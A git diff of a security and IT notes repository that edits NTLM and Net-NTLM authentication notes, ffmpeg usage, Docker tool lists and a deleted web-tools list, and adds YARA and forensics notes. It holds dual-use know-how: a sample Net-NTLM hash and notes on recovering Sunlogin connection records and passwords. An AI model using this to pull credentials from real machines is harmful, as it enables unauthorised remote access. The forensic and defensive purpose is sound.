会话安全;域控制器拒绝 LM 和 NTLM (仅接受 NTLMv2 身份验证)。 + +默认下 +- Windows 2000 以及 Windows XP: 发送 LM & NTLM 响应 +- Windows Server 2003: 仅发送 NTLM 响应 +- Windows Vista、Windows Server 2008、Windows 7 以及 Windows Server 2008 R2及以上: 仅发送 NTLMv2 响应 + --- ### Net-NTLM hash @@ -272,11 +385,21 @@ NTLMv1 和 NTLMv2 的加密因素都是 NTLM Hash,而最显著的区别就是 v1 是将 16字节的 NTLM hash 空填充为 21 个字节,然后分成三组,每组7比特,作为 3DES 加密算法的三组密钥,加密 Server 发来的 Challenge。 将这三个密文值连接起来得到 response。 +回顾一下流程 +1. 客户端向服务器发送一个请求 +2. 服务器接收到请求后,生成一个 8 位的 Challenge,发送回客户端 +3. 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,作为 response 发送给服务器 +4. 服务器校验 response + **Net-NTLM v2 hash** v2 将 Unicode 后的大写用户名与 Unicode 后的身份验证目标(在 Type 3 消息的”TargetName”字段中指定的域或服务器名称)拼在一起。请注意,用户名将转换为大写,而身份验证目标区分大小写,并且必须与“TargetName”字段中显示的大小写匹配。使用 16 字节 NTLM 哈希作为密钥,得到一个值。 -建一个 blob 信息 +回顾一下流程 +1. 客户端向服务器发送一个请求 +2. 服务器接收到请求后,生成一个 16 位的 Challenge,发送回客户端 +3. 客户端接收到 Challenge 后,使用登录用户的密码 hash 对 Challenge 加密,作为 response 发送给服务器 +4. 服务器校验 response ![](../../../../assets/img/Integrated/Windows/笔记/认证/32.png) @@ -347,6 +470,8 @@ Administrator::DESKTOP-QKM4NK7:18f77b6fe9f8d876:0ecfccd87d3bdb81713dc8c07e6705b6 ## SSP & SSPI +![](../../../../assets/img/Integrated/Windows/笔记/认证/41.png) + **SSPI(Security Support Provider Interface)** 这是 Windows 定义的一套接口,此接口定义了与安全有关的功能函数,用来获得验证、信息完整性、信息隐私等安全功能,就是定义了一套接口函数用来身份验证,签名等,但是没有具体的实现。 @@ -369,7 +494,13 @@ SSPI 的实现者,对 SSPI 相关功能函数的具体实现。微软自己实 ![](../../../../assets/img/Integrated/Windows/笔记/认证/37.png) -为啥这里会出现 GSSAPI 呢,SSPI 是 GSSAPI 的一个专有变体,进行了扩展并具有许多特定于 Windows 的数据类型。SSPI 生成和接受的令牌大多与 GSS-API 兼容。所以这里出现 GSSAPI 只是为了兼容,我们可以不必理会。可以直接从 NTLM SSP 开始看起。注册为 SSP 的一个好处就是,SSP 实现了了与安全有关的功能函数,那上层协议(比如 SMB)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。而认证过程中的流量嵌入在上层协议里面。不像 kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。ntlm 是只能镶嵌在上层协议里面,消息的传输依赖于使用 ntlm 的上层协议。比如镶嵌在 SMB 协议里,或镶嵌在 HTTP 协议。 +为啥这里会出现 GSSAPI 呢,SSPI 是 GSSAPI 的一个专有变体,进行了扩展并具有许多特定于 Windows 的数据类型。 + +SSPI 生成和接受的令牌大多与 GSS-API 兼容。所以这里出现 GSSAPI 只是为了兼容,我们可以不必理会。 + +可以直接从 NTLM SSP 开始看起。注册为 SSP 的一个好处就是,SSP 实现了了与安全有关的功能函数,那上层协议(比如 SMB)在进行身份认证等功能的时候,就可以不用考虑协议细节,只需要调用相关的函数即可。 + +而认证过程中的流量嵌入在上层协议里面。不像 kerbreos,既可以镶嵌在上层协议里面,也可以作为独立的应用层协议。ntlm 是只能镶嵌在上层协议里面,消息的传输依赖于使用 ntlm 的上层协议。比如镶嵌在 SMB 协议里,或镶嵌在 HTTP 协议。 --- diff --git "a/1earn/Integrated/\346\225\260\346\215\256\345\272\223/\347\254\224\350\256\260/\344\270\273\351\224\256\345\222\214\345\244\226\351\224\256.md" "b/1earn/Integrated/\346\225\260\346\215\256\345\272\223/\347\254\224\350\256\260/\344\270\273\351\224\256\345\222\214\345\244\226\351\224\256.md" index 35573dd9..1509532d 100644 --- "a/1earn/Integrated/\346\225\260\346\215\256\345\272\223/\347\254\224\350\256\260/\344\270\273\351\224\256\345\222\214\345\244\226\351\224\256.md" +++ "b/1earn/Integrated/\346\225\260\346\215\256\345\272\223/\347\254\224\350\256\260/\344\270\273\351\224\256\345\222\214\345\244\226\351\224\256.md" @@ -147,5 +147,7 @@ LEFT OUTER JOIN syscolumns ON sysconstraints.id = syscolumns.id WHERE OBJECT_NAME(sysobjects.parent_obj) = 'Student' ``` +--- + **Source & Reference** - [SQL的主键和外键的作用](https://www.jianshu.com/p/394f8aa724f4) diff --git "a/1earn/Integrated/\350\231\232\346\213\237\345\214\226/Docker/Speed-Docker.md" "b/1earn/Integrated/\350\231\232\346\213\237\345\214\226/Docker/Speed-Docker.md" index 8411151d..4c6f2bc4 100644 --- "a/1earn/Integrated/\350\231\232\346\213\237\345\214\226/Docker/Speed-Docker.md" +++ "b/1earn/Integrated/\350\231\232\346\213\237\345\214\226/Docker/Speed-Docker.md" @@ -33,6 +33,7 @@ Docker 可以让开发者打包他们的应用以及依赖包到一个轻量级 - [Docker-Portainer安装使用](../../Linux/Power-Linux.md#docker-portainer) - [instantbox](https://github.com/instantbox/instantbox) - 脚本实现的一个 docker 虚拟化平台,快速获得开箱即用的热乎乎的虚拟机😁 - [silenceshell/docker_mirror](https://github.com/silenceshell/docker_mirror) - 查找最快的 docker 镜像 +- [jesseduffield/lazydocker](https://github.com/jesseduffield/lazydocker) - 快速管理 docker --- diff --git a/1earn/Plan/Misc-Plan.md b/1earn/Plan/Misc-Plan.md index a060389d..c5fb7b1d 100644 --- a/1earn/Plan/Misc-Plan.md +++ b/1earn/Plan/Misc-Plan.md @@ -348,33 +348,40 @@ ffmpeg -f concat -i filelist.txt -c copy output.mkv **视频压缩** -常规用法 : `ffmpeg.exe -i "E:\Temp\002.mp4" -r 10 -b:a 32k "E:\Temp\002_mod.mp4"` - -推荐用法 : `ffmpeg -y -i /mnt/sdcard/demo1.mp4 -strict -2 -vcodec libx264 -preset ultrafast -crf 24 -acodec aac -ar 44100 -ac 2 -b:a 96k -s 360x640 -aspect 16:9 /mnt/sdcard/democompress.mp4` +常规用法 +```bash +ffmpeg.exe -i in.mp4 -r 10 -b:a 32k out.mp4 +``` -`ffmpeg -y -i in.mp4 -s 176x144 -vcodec libx264 -vpre fast -b 800000 out.mp4` +推荐用法 +```bash +ffmpeg -y -i /mnt/sdcard/demo1.mp4 -strict -2 -vcodec libx264 -preset ultrafast -crf 24 -acodec aac -ar 44100 -ac 2 -b:a 96k -s 360x640 -aspect 16:9 /mnt/sdcard/democompress.mp4 ``` -in.mp4 是 960 x 540,H.264 / AVC,30fps, 大小为 149.3 MB. -转出来的 out.mp4 是 176 x 144,H.264 / AVC,30fps, 大小为 21.0 MB. - -y: 当已存在 out.mp4 是, 不提示是否覆盖. --i in.mp4: 输入文件名. --s 176x144: 输出分辨率. --vcodec -libx264: 输出文件使用的编解码器. --vpre fast: 使用 libx264 做为编解码器时, 需要带上这个参数. --b 800000: 码率, 单位是字节, 不是 k 字节. -out.mp4: 输出文件名. -以上参数的使用细节, ffmpeg 的 help 里有更详细的描述. + +```bash +ffmpeg -y -i in.mp4 -s 176x144 -vcodec libx264 -vpre fast -b 800000 out.mp4 +# in.mp4 是 960 x 540,H.264 / AVC,30fps, 大小为 149.3 MB. +# 转出来的 out.mp4 是 176 x 144,H.264 / AVC,30fps, 大小为 21.0 MB. +# +# y: 当已存在 out.mp4 是, 不提示是否覆盖. +# -i in.mp4: 输入文件名. +# -s 176x144: 输出分辨率. +# -vcodec -libx264: 输出文件使用的编解码器. +# -vpre fast: 使用 libx264 做为编解码器时, 需要带上这个参数. +# -b 800000: 码率, 单位是字节, 不是 k 字节. +# out.mp4: 输出文件名. +# 以上参数的使用细节, ffmpeg 的 help 里有更详细的描述. ``` -`ffmpeg -y -i in.out -vcodec xvid -s 176x144 -r 29.97 -b 1500 -acodec aac -ac 2 -ar 48000 -ab 128 -vol 100 -f mp4 out.mp4` ```bash --r 29.97 帧数 (一般用 25 就可以了) --b 1500 视频数据流量, 用 - b xxx 表示使用固定码率, 数字可更改; 还可以用动态码率如:-qscale 4 和 - qscale 6,4 的质量比 6 高 (一般用 800 就可以了, 否则文件会很大) --acodec aac 音频编码用 AAC --ac 2 声道数 1 或 2 --ar 48000 声音的采样频率 --ab 128 音频数据流量, 一般选择 32、64、96、128 # -vol 200 200% 的音量, 可更改 (如果源文件声音很小, 可以提升 10 到 20 倍 (1000%~2000%), 我试过, 效果还行! 但不能太大, 200000% 我也试验过, 但嘈杂声太大了) +ffmpeg -y -i in.out -vcodec xvid -s 176x144 -r 29.97 -b 1500 -acodec aac -ac 2 -ar 48000 -ab 128 -vol 100 -f mp4 out.mp4 + +# -r 29.97 帧数 (一般用 25 就可以了) +# -b 1500 视频数据流量, 用 - b xxx 表示使用固定码率, 数字可更改; 还可以用动态码率如:-qscale 4 和 - qscale 6,4 的质量比 6 高 (一般用 800 就可以了, 否则文件会很大) +# -acodec aac 音频编码用 AAC +# -ac 2 声道数 1 或 2 +# -ar 48000 声音的采样频率 +# -ab 128 音频数据流量, 一般选择 32、64、96、128 # -vol 200 200% 的音量, 可更改 (如果源文件声音很小, 可以提升 10 到 20 倍 (1000%~2000%), 我试过, 效果还行! 但不能太大, 200000% 我也试验过, 但嘈杂声太大了) ``` --- diff --git a/1earn/Plan/Team-Plan.md b/1earn/Plan/Team-Plan.md index ee8a6d01..bb350b51 100644 --- a/1earn/Plan/Team-Plan.md +++ b/1earn/Plan/Team-Plan.md @@ -6,7 +6,7 @@ --- -**免责声明** +## 免责声明 1. 本项目所有内容,仅供学习和研究使用,请勿使用项目的技术手段用于非法用途,任何人造成的任何负面影响,与本人无关. 2. 本文档所有内容皆不代表本人态度、立场,如果有建议或方案,欢迎提交 issues diff --git a/1earn/Plan/VM-Plan.md b/1earn/Plan/VM-Plan.md index e320a621..1696922f 100644 --- a/1earn/Plan/VM-Plan.md +++ b/1earn/Plan/VM-Plan.md @@ -6,24 +6,6 @@ --- -# 虚拟机建议 - -**Linux 虚拟机建议** -- 适用于 : 实验 - - [Centos](https://www.centos.org/) -- 适用于 : 渗透 - - [Kali](https://www.kali.org/) - -**Windows 虚拟机建议** -- 适用于 : 渗透/靶机 - - [commando-vm](https://github.com/fireeye/commando-vm) - fireeye 出品的部署 Windows 的渗透测试虚拟机脚本 - - win2008 -- 适用于 : 日常使用 - - 版本: Win10 2019 Ltsc - - 版本: Win7 - ---- - # VMware 常见问题 **关闭虚拟内存** diff --git a/1earn/Plan/Web-Tools.md b/1earn/Plan/Web-Tools.md deleted file mode 100644 index 9f062c5b..00000000 --- a/1earn/Plan/Web-Tools.md +++ /dev/null @@ -1,616 +0,0 @@ -# Web-Tools - -

- -

- -- `所有网页不保证其可用性、安全性,未收任何广告费用,请大胆食用😜` -- `暂定半年更新一次` - ---- - -## 大纲 - -* **工具箱** - - * [工具箱](#工具箱) - -* **开发** - - * [开发沙盒环境](#开发沙盒环境) - * [pcb](#pcb) - * [网站](#网站) - * [测速-性能检测](#测速-性能检测) - * [ping工具](#ping工具) - * [指纹](#指纹) - * [旁站](#旁站) - * [子域](#子域) - * [DNS记录](#dns记录) - * [whois查询](#whois查询) - * [备案查询](#备案查询) - * [功能类](#功能类) - -* **设计** - - * [智能填充](#智能填充) - * [抠图](#抠图) - * [二维码](#二维码) - * [脑图-流程图-各种图](#脑图-流程图-各种图) - * [表情包](#表情包) - * [emoji](#emoji) - * [海报-ps](#海报-ps) - * [美图-功能](#美图-功能) - * [数据图](#数据图) - * [带壳截图](#带壳截图) - * [AI](#ai) - * [视频制作](#视频制作) - * [ICON设计](#icon设计) - * [图片压缩](#图片压缩) - * [图片放大](#图片放大) - * [map](#map) - * [产品原型](#产品原型) - * [动效](#动效) - -* **Misc** - * [文件转换/优化](#文件转换优化) - * [代码格式化](#代码格式化) - * [文件格式转换](#文件格式转换) - * [ocr](#ocr) - * [tts](#tts) - * [pdf操作](#pdf操作) - * [分享](#分享) - * [图床](#图床) - * [文件](#文件) - * [文档](#文档) - * [短链](#短链) - * [各种测试](#各种测试) - * [net](#net) - * [web](#web) - * [硬件](#硬件) - * [娱乐](#娱乐) - * [化学](#化学) - * [排行榜](#排行榜) - * [cpu](#cpu) - * [显卡](#显卡) - * [网站排行](#网站排行) - * [Misc](#misc) - * [随机](#随机) - * [身份生成](#身份生成) - ---- - -# 工具箱 - -- https://123apps.com/cn/ -- http://tool.nmask.cn/ -- http://tool.oschina.net/ -- http://www.atool.org/ -- https://tool.lu/ -- http://www.nicetool.net/ -- https://planetcalc.com/ -- https://mothereff.in/ -- https://wn.run/cn/ - ---- - -# 开发 - -## 开发沙盒环境 - -- https://rextester.com/ -- http://www.compileonline.com/ -- https://www.tutorialspoint.com/codingground.htm -- https://marie-js.github.io/MARIE.js/ -- https://try.kotlinlang.org/#/Examples/Hello,%20world!/Simplest%20version/Simplest%20version.kt -- http://sqlfiddle.com/ -- https://c.runoob.com/ -- https://www.dooccn.com/csharp/ -- https://dotnetfiddle.net/ - ---- - -## pcb - -- http://kicad-pcb.org/ -- https://lceda.cn/ - ---- - -## 网站 - -### 测速-性能检测 - -- https://asm.ca.com/ -- https://www.17ce.com/ - -### ping工具 - -- [CDN Finder tool - CDN Planet](https://www.cdnplanet.com/tools/cdnfinder/) -- [CDN检测](https://myssl.com/cdn_check.html) -- [多个地点Ping服务器,网站测速 - 站长工具](http://ping.chinaz.com/) -- [网站测速工具_超级ping _多地点ping检测 - 爱站网](https://ping.aizhan.com/) -- [DNSMap](https://dnsmap.io/) - 检查来自世界各地的多个DNS名称服务器和解析器的域名或主机名的当前IP -- [Ping.cn:网站测速-ping检测-dns查询-ipv6网站测试-路由跟踪查询](https://www.ping.cn/) - -### 指纹 - -- [云悉 WEB 资产梳理|在线 CMS 指纹识别平台 - 云悉安全](http://www.yunsee.cn/) -- [Sucuri SiteCheck - Free Website Security Check & Malware Scanner](https://sitecheck.sucuri.net/) -- [Bad site specified](https://toolbar.netcraft.com/site_report?url=/) -- [Site Info Tool - Website Information Lookup Tool](http://www.siteinfotool.com/) -- [在线指纹识别,在线 cms 识别小插件--BugScaner](http://whatweb.bugscaner.com/look/) -- [YFCMF 内容管理框架 YFCMF 内容管理框架](http://finger.tidesec.net/) -- [BuiltWith Technology Lookup](https://searchcode.com/) - 找出网站使用什么搭建的 - -### 旁站 - -- https://x.threatbook.cn/nodev4/vb4/list -- https://dns.aizhan.com/ -- https://www.robtex.com/ -- http://www.webscan.cc/ -- http://www.114best.com/ip/ -- http://www.5kik.com/c/ -- https://phpinfo.me/bing.php -- https://dnsdumpster.com/ -- https://viewdns.info/iphistory/ -- https://securitytrails.com/ - -### 子域 - -- http://z.zcjun.com/ - -### DNS记录 - -- https://x.threatbook.cn/nodev4/vb4/list -- https://viewdns.info/iphistory/ -- https://securitytrails.com/ - -### whois查询 - -- http://wq.apnic.net/apnic-bin/whois.pl -- https://centralops.net/co/ -- https://www.register.com/whois.rcmx -- https://www1.domain.com/whois/whois.bml -- https://whois.net/ -- https://whois.domaintools.com/ -- https://who.is/ -- https://www.t00ls.net/domain.html -- https://www.whois.com.au/whois/abn.html -- http://whois.webmasterhome.cn/ -- https://whois.aliyun.com/ -- https://who.is/whois/xxx.com -- https://whois.icann.org/zh/lookup -- http://whoissoft.com/ -- http://whois.chinaz.com/ -- https://www.whois.com/ -- http://whois.domaintools.com/ -- https://whois.icann.org/en -- https://www.whoxy.com/reverse-whois/ -- https://domainbigdata.com/ -- https://whoer.net/checkwhois -- https://viewdns.info/whois/ -- https://www.reversewhois.io/ - -### 备案查询 - -- http://www.beianbeian.com/ -- http://beian.gov.cn/portal/recordQuery -- http://www.miitbeian.gov.cn/publish/query/indexFirst.action - ---- - -## 功能类 - -**数学** -- https://zh.numberempire.com/factoringcalculator.php -- http://atool.org/quality_factor.php -- https://zh.numberempire.com/ -- https://www.logcalculator.net/ - -**大小写** -- http://www.convertstring.com/zh_CN/StringFunction/ToUpperCase -- http://www.convertstring.com/zh_CN/StringFunction/ToLowerCase -- https://convertcase.net/ - -**反向** -- http://www.convertstring.com/zh_CN/StringFunction/ReverseString -- https://www.qqxiuzi.cn/zh/daoxu/ - -**时间戳** -- http://tool.chinaz.com/tools/unixtime.aspx - ---- - -# 设计 - -## 智能填充 - -- https://www.nvidia.com/research/inpainting/ - -## 抠图 - -- https://www.gaoding.com/koutu -- https://www.remove.bg/ -- https://burner.bonanza.com/ -- https://bgeraser.com/index.html -- https://www.stickermule.com/trace - -## 脑图-流程图-各种图 - -- https://www.draw.io/ -- http://v3.processon.com/diagrams -- https://coggle.it/#pricing -- https://mubu.com/list -- https://www.promomatic.com/ -- https://www.yuque.com/ruanyf/share/free-diagram -- https://gallery.echartsjs.com/ -- http://naotu.baidu.com/home - -## 表情包 - -- https://sorry.xuty.tk/sorry/ -- http://www.gifntext.com/ -- https://www.festisite.com/money/us_dollar_1/ - -## emoji - -- https://getemoji.com/ -- https://emojipedia.org/ -- http://www.openmoji.org/ -- https://phlntn.com/emojibuilder/ -- https://www.webfx.com/tools/emoji-cheat-sheet/ -- https://unicode.org/emoji/charts/full-emoji-list.html -- https://emojicp.com/ - -## 海报-ps - -- https://www.photopea.com/ -- https://ps.gaoding.com/#/ -- https://yijiangaitu.com/ -- https://www.designcap.com/ -- https://www.fotor.com.cn/ -- https://www.smartresize.com/zh-cn -- https://brush.ninja/ -- https://www.autodraw.com/ -- https://promo.com/tools/image-resizer/ -- https://pixlr.com/x/ -- https://app.itg.digital/ -- https://replacecover.com/ -- https://www.gaoding.com/ -- https://www.chuangkit.com/ -- https://www.inspirationde.com/ - -## 美图/功能 - -- https://pissang.github.io/voxelize-image/ -- http://www.polaxiong.com/editor -- http://www.makepic.net/Tool/Image2ascii.html -- https://www.bootschool.net/ascii -- http://www.network-science.de/ascii/ -- http://weavesilk.com/ -- http://www.ostagram.me/ -- http://asciiflow.com/ -- https://wordart.com/ -- http://tmtheme-editor.herokuapp.com/ -- https://myoctocat.com/ -- https://logoly.pro/#/ -- http://www.easymoza.com/ -- https://ezgif.com/ -- https://colourise.sg/ -- https://colorize.cc/ -- https://www.minitagcloud.cn/ -- https://www.imgbot.ai/ -- https://pixfix.com/ -- https://resizing.app/ -- https://picrew.me/ -- https://www.moage.cn/ -- http://yciyun.com/ - -## 数据图 - -- http://tinychart.co/ -- https://gallery.echartsjs.com/explore.html#sort=rank~timeframe=all~author=all -- https://tushuo.baidu.com/ - -## 带壳截图 - -- https://screen.guru/ -- https://www.screely.com/ -- https://browserframe.com/ -- https://codeimg.io/ -- https://carbon.now.sh/ - -## AI - -- https://artbreeder.com/browse -- https://comixify.ii.pw.edu.pl/ -- https://thispersondoesnotexist.com/ -- https://www.thiswaifudoesnotexist.net/?ref=appinn -- https://thiscatdoesnotexist.com/ -- http://www.whichfaceisreal.com/ -- https://nvlabs.github.io/SPADE/ -- https://havetheyfaked.me/ -- https://selfie2anime.com/ -- https://facemaze.io/ -- https://reflect.tech/faceswap/hot -- https://generated.photos/faces - - -## 视频制作 - -- https://online-video-cutter.com/tw/ -- https://bilibili.clipchamp.com/ - -## ICON设计 - -- https://favicomatic.com/ - -## 图片压缩 - -- http://gifcompressor.com/ -- https://goimg.io/ -- http://www.iloveimg.com/zh_cn -- https://imgless.com/ -- https://www.picdiet.com/ -- https://shrinkme.app/ -- https://tinypng.com/ -- http://optimizilla.com/zh/ -- http://www.secaibi.com/tools/ -- https://ezgif.com/optimize -- https://docsmall.com/image-compress -- https://docsmall.com/gif-compress -- https://docsmall.com/pdf-compress - -## 图片放大 - -- https://www.vectorizer.io/ -- https://vectormagic.com/ -- http://waifu2x.udp.jp/ -- https://waifu2x.booru.pics/ -- https://bigjpg.com/ -- https://www.imageenlarger.com/ -- https://imglarger.com/Home/ -- https://icons8.com/upscaler -- https://letsenhance.io/ - -## map - -- https://maplab.amap.com/ -- https://pixelmap.amcharts.com/# -- https://web.raykite.com/#reloaded - -## 产品原型 - -- https://suulnnka.github.io/BullshitGenerator/index.html -- https://www.mockplus.cn/ -- https://uiprint.co/all-printable/ -- https://epic.ai/mockdown/ -- https://marp.app/ - -## 动效 - -- https://svgartista.net/ - ---- - -# Misc - -## 文件转换/优化 - -### 代码格式化 - -- https://codebeautify.org/ -- https://tool.lu/php -- http://tools.jb51.net/code -- https://tool.lu/c/developer -- http://deobfuscatejavascript.com/ -- https://tool.lu/html/ - -### 文件格式转换 - -- https://pandoc.org/index.html -- https://cloudconvert.com/ -- https://convertio.co/zh/ -- https://www.online-convert.com/ -- http://ringer.org/ -- https://www.apowersoft.cn/heic-to-jpg -- https://cn.office-converter.com/ -- http://www.bitbug.net/ -- https://jinaconvert.com/cn/ -- https://easypdf.com/cn -- https://pdf.to/ -- https://www.online-convert.com/ -- https://www.aconvert.com/cn/image/jpg-to-svg/ -- https://word.to/ - -### ocr - -- https://online.easyscreenocr.com/ZH -- https://web.baimiaoapp.com/ - -### tts - -- https://ttsreader.com/ -- http://ocr.wdku.net/ - -### pdf操作 - -- http://www.mdtr2pdf.com/index.html -- https://lightpdf.com/zh/ -- https://docsmall.com/pdf-merge -- https://docsmall.com/pdf-split -- https://www.hipdf.com/cn/ -- https://smallpdf.com/ -- https://www.sejda.com/ -- https://tools.pdf24.org/zh/ - ---- - -## 分享 - -### 图床 - -- http://upload.otar.im/ -- https://sm.ms/ -- https://imageshack.com/ -- https://postimages.org/ -- https://snag.gy/ -- http://tinypic.com/ -- https://upload.cc/ -- https://jiantuku.com/#/ -- https://miao.su/ -- https://simimg.com/ -- http://www.tietuku.com/ - -### 文档 - -- https://notepin.co/ -- https://asciinema.org/ -- http://paste.debian.net/ -- https://eddtor.com/editor -- https://note.rizon.top/ -- https://pastebin.com/ -- https://witeboard.com/ -- https://readthedocs.org/ -- https://sebsauvage.net/paste/ -- https://naive.cf/ -- https://privnote.com/# -- https://1ty.me/ -- https://telegra.ph/ -- https://paste.ubuntu.com/ -- https://paste2.org/ - -### 文件 - -- https://bitsend.jp/ -- https://file.pizza/ -- https://www.4shared.com/ -- https://drp.io/ -- https://fileroom.io/about -- https://drop.usestak.com/ -- https://fuli.cowtransfer.com/ -- https://clicknupload.org/ -- https://drop.me/ -- http://5minutestorage.com/ -- https://send.firefox.com/ -- https://github.com/mozilla/send -- https://wetransfer.com/ - -### 短链 - -- https://justpaste.it/ -- https://crz.im/ -- https://bitly.com/ -- https://m4rk.org/# -- http://mrw.so/ -- http://lmgtfy.com/ -- http://www.baidu-x.com/ -- https://v.gd/index.php -- https://megaurl.in/ -- https://www.theurlist.com/ -- https://git.io/ -- https://www.toolnb.com/tools/duanwangzhi.html -- http://tny.im/ -- https://sl.aotter.net/ -- https://zws.im/ -- https://ml.mk/ -- https://lstu.fr/ -- https://www.aware-online.com/en/find-an-instagram-user-id/ -- https://www.expandurl.net/ -- https://linkexpander.com/ -- http://urlexpander.net/ -- https://urlex.org/ -- https://checkshorturl.com/ -- https://www.linkslist.app/ - ---- - -## 各种测试 - -### net - -- https://wondernetwork.com/pings/ -- https://fast.com/ -- http://ping.pe/ -- http://www.linkwan.com/gb/ -- http://www.webkaka.com/ -- https://www.speedtest.net/ -- https://downloadtestfiles.com/ -- https://iperf.fr/iperf-servers.php -- https://test-ipv6.com/ - -### web - -- https://html5test.com/ -- https://- http2.akamai.com/demo -- https://browserbench.org/JetStream/ -- https://testdrive-archive.azurewebsites.net/performance/robohornetpro/ -- https://caniuse.com/#home - -### 硬件 - -- https://zowie.benq.com/en/support/mouse-rate-checker.html -- https://www.testufo.com/framerates#count=3&background=none&pps=120 -- http://pingmu.zh-ang.com/ - ---- - -## 娱乐 - -- https://144blocks.com/ -- http://asoftmurmur.com/ -- https://www.calm.com/ -- https://lingojam.com/GlitchTextGenerator -- http://www.rainymood.com/ -- https://doutui.me/ -- https://fixmyspeakers.com/ -- https://generative.fm/ -- http://yayun.la/ -- https://static.hfi.me/mikutap/ -- https://aidn.jp/mikutap/ -- https://geekprank.com/fake-virus/ - ---- - -## 化学 - -- https://www.profilmonline.com/ -- https://ptable.com/ - ---- - -## 排行榜 - -### cpu - -- https://www.cpubenchmark.net/high_end_cpus.html -- http://www.mydrivers.com/zhuanti/tianti/01/index.html -- http://www.mydrivers.com/zhuanti/tianti/cpu/index.html -- http://www.mydrivers.com/zhuanti/tianti/cpum/index.html -- https://topic.expreview.com/CPU/ - -### 显卡 - -- https://www.videocardbenchmark.net/high_end_gpus.html -- http://www.mydrivers.com/zhuanti/tianti/gpu/index.html -- http://www.mydrivers.com/zhuanti/tianti/gpum/index.html -- http://topic.expreview.com/GPU/ - -### 网站排行 - -- https://www.alexa.com/ -- https://www.similarweb.com/ - -### Misc - -- http://guozhivip.com/rank/ -- https://www.levels.fyi/ -- https://openbenchmarking.org/ -- https://db-engines.com/en/ranking - ---- - -## 随机 - -- https://www.random.org/ -- https://www.uuidgenerator.net/ diff --git "a/1earn/Security/BlueTeam/\345\210\206\346\236\220.md" "b/1earn/Security/BlueTeam/\345\210\206\346\236\220.md" new file mode 100644 index 00000000..7f919ade --- /dev/null +++ "b/1earn/Security/BlueTeam/\345\210\206\346\236\220.md" @@ -0,0 +1,43 @@ +# 分析 + +--- + +## 免责声明 + +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` + +--- + +# 分析工具 + +**相关工具** +- [fireeye/capa](https://github.com/fireeye/capa) + +## Yara + +YARA 是一款旨在帮助恶意软件研究人员识别和分类恶意软件样本的规则模板(由 virustotal 的软件工程师 Victor M. Alvarezk 开发),使用 YARA 可以基于文本或二进制模式创建恶意软件家族描述信息。 + +- 项目地址 : https://github.com/VirusTotal/yara +- 语法库 : https://yara.readthedocs.io/en/latest/ + +**相关文章** +- [Yara入门——如何通过Yara规则匹配CobaltStrike恶意样本](https://www.anquanke.com/post/id/211501) +- [YARA:抗击恶意代码的神兵利器](https://www.freebuf.com/articles/system/26373.html) +- [恶意软件模式匹配利器 - YARA](https://www.freebuf.com/articles/96903.html) + +**辅助工具** +- [CERT-Polska/mquery](https://github.com/CERT-Polska/mquery) - YARA恶意软件查询加速器(web前端) + +**规则库** +- [InQuest/awesome-yara](https://github.com/InQuest/awesome-yara) - A curated list of awesome YARA rules, tools, and people. +- [bartblaze/Yara-rules](https://github.com/bartblaze/Yara-rules) - Collection of private Yara rules. +- [Yara-Rules/rules](https://github.com/Yara-Rules/rules) - Repository of yara rules +- [Neo23x0/signature-base](https://github.com/Neo23x0/signature-base) - Signature base for my scanner tools + +--- + +# 分析案例 + +## linux shell + +- [Offensive OSINT s01e02 - Deobfuscation & Source code analysis + uncovering CP distribution network](https://www.offensiveosint.io/offensive-osint-s01e02-deobfuscation-source-code-analysis-uncovering-cp-distribution-network/) diff --git "a/1earn/Security/BlueTeam/\345\212\240\345\233\272.md" "b/1earn/Security/BlueTeam/\345\212\240\345\233\272.md" index b63c93df..b22fc154 100644 --- "a/1earn/Security/BlueTeam/\345\212\240\345\233\272.md" +++ "b/1earn/Security/BlueTeam/\345\212\240\345\233\272.md" @@ -4,7 +4,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- diff --git "a/1earn/Security/BlueTeam/\345\217\226\350\257\201.md" "b/1earn/Security/BlueTeam/\345\217\226\350\257\201.md" index c07bb7cd..275dce77 100644 --- "a/1earn/Security/BlueTeam/\345\217\226\350\257\201.md" +++ "b/1earn/Security/BlueTeam/\345\217\226\350\257\201.md" @@ -10,7 +10,7 @@ ## 免责声明 -`本人撰写的手册,仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` +`本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- @@ -290,6 +290,7 @@ **相关文章** - [PowerPoint — What data is beneath the surface?](https://medium.com/@osint/owerpoint-what-data-is-beneath-the-surface-2eb000ef95fb) - 介绍了几种在ppt中隐藏图片的小技巧 +- [如何从 Microsoft Office 文档中完全删除那些暴露你身份的元数据?](https://www.iyouport.org/%e5%a6%82%e4%bd%95%e4%bb%8e-microsoft-office-%e6%96%87%e6%a1%a3%e4%b8%ad%e5%ae%8c%e5%85%a8%e5%88%a0%e9%99%a4%e9%82%a3%e4%ba%9b%e6%9a%b4%e9%9c%b2%e4%bd%a0%e8%ba%ab%e4%bb%bd%e7%9a%84%e5%85%83%e6%95%b0/) **word 隐藏文本** - 文件->选项->显示->勾选隐藏文字 @@ -376,6 +377,9 @@ **向日葵** - 向日葵客户端运行过程中的日志文件保存路径: `C:\Program Files (x86)\Oray\SunLogin\SunloginClient\log` +- 向日葵的免安装版会在 `C:\ProgramData\Oray\SunloginClient\` 默认路径下生成 `config.ini` 配置文件,配置文件中的 fastcodehistroy 值以 base64 编码形式存储着向日葵历史连接记录 +- [向日葵软件在渗透测试中的应用](https://mp.weixin.qq.com/s/5qzYynZI0bdaUnld0GhA4Q) +- [wafinfo/Sunflower_get_Password](https://github.com/wafinfo/Sunflower_get_Password) - 一款针对向日葵的识别码和验证码提取工具 **xshell** - xshell 默认是不开启会话日志记录的 diff --git "a/1earn/Security/BlueTeam/\345\256\236\351\252\214/ClamAV\351\203\250\347\275\262.md" "b/1earn/Security/BlueTeam/\345\256\236\351\252\214/ClamAV\351\203\250\347\275\262.md" new file mode 100644 index 00000000..57116a3d --- /dev/null +++ 